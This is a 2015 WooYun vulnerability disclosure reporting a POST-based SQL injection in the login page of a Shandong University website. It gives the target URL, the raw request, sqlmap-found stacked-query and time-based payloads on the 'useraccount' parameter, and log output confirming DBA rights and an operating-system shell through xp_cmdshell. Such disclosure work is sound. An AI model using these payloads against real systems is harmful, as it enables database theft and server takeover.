当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0157219

漏洞标题：山东大学某站SQL注入#DBA权限#可获取shell取服务器权限

相关厂商：山东大学

漏洞作者： 路人甲

提交时间：2015-12-01 10:22

修复时间：2016-01-15 14:04

公开时间：2016-01-15 14:04

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-01： 细节已通知厂商并且等待厂商处理中
2015-12-01： 厂商已经确认，细节仅向厂商公开
2015-12-11： 细节向核心白帽子及相关领域专家公开
2015-12-21： 细节向普通白帽子公开
2015-12-31： 细节向实习白帽子公开
2016-01-15： 细节向公众公开

简要描述：

我又来挖登录处的sql注入了

详细说明：

0x01 漏洞描述
登录处出现POST类型sql注入，经检测，注入得到用户为DBA权限，可直接写入shell，得到服务器权限，另外，数据库全部信息也不在话下了。
0x02 漏洞网站

http://gsl.sdu.edu.cn/


0x03 漏洞出现位置
登录处

@1Y1]`BUX)V~KZNR9ZRWR8J.png


0x04 漏洞请求HTTP参数

POST /indexlogin.jsp HTTP/1.1
Host: gsl.sdu.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://gsl.sdu.edu.cn/index.jsp
Cookie: JSESSIONID=9CE728665B08B18DAC710FE3EBF8A791
Connection: keep-alive
useraccount=aaa&userpassword=aaaaa


0x05 漏洞利用工具
sqlmap

漏洞证明：

0x06 漏洞证明
得到注入点类型信息

---
Place: POST
Parameter: useraccount
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: useraccount=aaa'; WAITFOR DELAY '0:0:5'--&userpassword=aaaaa
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: useraccount=aaa' WAITFOR DELAY '0:0:5'--&userpassword=aaaaa
---
[15:22:27] [INFO] testing Microsoft SQL Server
[15:22:27] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] 
[15:22:34] [INFO] confirming Microsoft SQL Server
[15:23:10] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2008


数据库用户类型 DBA权限

[15:25:40] [INFO] testing if current user is DBA
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] 
current user is DBA:    True


成功获取os-shell

[15:54:53] [INFO] retrieved: 0   
[15:54:53] [INFO] fingerprinting the back-end DBMS operating system version and service pack
[15:55:00] [INFO] the back-end DBMS operating system is Windows 7 Service Pack 0
[15:55:01] [INFO] testing if current user is DBA
[15:55:01] [INFO] checking if xp_cmdshell extended procedure is available, please wait..
[15:55:12] [INFO] xp_cmdshell extended procedure is available
[15:55:20] [INFO] testing if xp_cmdshell extended procedure is usable
[15:58:29] [ERROR] invalid character detected. retrying..
[15:58:29] [WARNING] increasing time delay to 6 seconds 
[15:59:31] [ERROR] invalid character detected. retrying..
[15:59:31] [WARNING] increasing time delay to 7 seconds 
[16:01:22] [INFO] xp_cmdshell extended procedure is usable
[16:01:22] [INFO] going to use xp_cmdshell extended procedure for operating system command execution
[16:01:22] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>


)(~BWUCCOD[ENW4J]$WDE%1.png


然后执行命令什么的就不用我说了吧、危害性非常大的、点到为止吧、不做内网渗透了

修复方案：

过滤吧

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：4

确认时间：2015-12-01 14:03

厂商回复：

已通报系统所属单位

最新状态：

暂无